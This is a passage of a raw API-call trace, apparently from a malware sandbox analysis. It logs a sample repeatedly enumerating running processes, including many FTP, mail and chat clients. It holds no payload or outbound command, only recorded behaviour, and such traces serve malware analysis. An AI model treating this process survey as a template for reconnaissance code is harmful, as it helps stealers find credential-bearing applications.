lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0249.264] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0249.265] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0249.267] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0249.350] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0249.353] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0249.355] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0249.357] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0249.359] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0249.361] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0249.363] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0249.365] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0249.367] CloseHandle (hObject=0x13b0) returned 1 [0249.367] Sleep (dwMilliseconds=0x64) [0249.411] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13b0 [0249.426] Process32First (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0249.428] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0249.430] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0249.432] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0249.434] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0249.436] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0249.438] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0249.440] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0249.499] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0249.501] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.503] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.505] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0249.507] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.509] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.511] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.513] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.515] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.517] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.519] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.521] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0249.523] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0249.525] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0249.527] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.529] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0249.531] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0249.533] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0249.597] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0249.599] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.601] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0249.603] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0249.605] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0249.607] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0249.609] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0249.611] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0249.613] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0249.615] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0249.617] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0249.619] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0249.621] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0249.623] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0249.625] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0249.627] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0249.629] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0249.631] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0249.633] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0249.635] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0249.637] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0249.639] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0249.641] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0249.643] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0249.711] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0249.713] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0249.715] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0249.717] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0249.719] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0249.721] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0249.723] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0249.725] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0249.728] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0249.730] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0249.733] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0249.735] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0249.738] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0249.741] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0249.743] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0249.745] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0249.748] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0249.750] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0249.753] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0249.826] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0249.829] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0249.832] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, 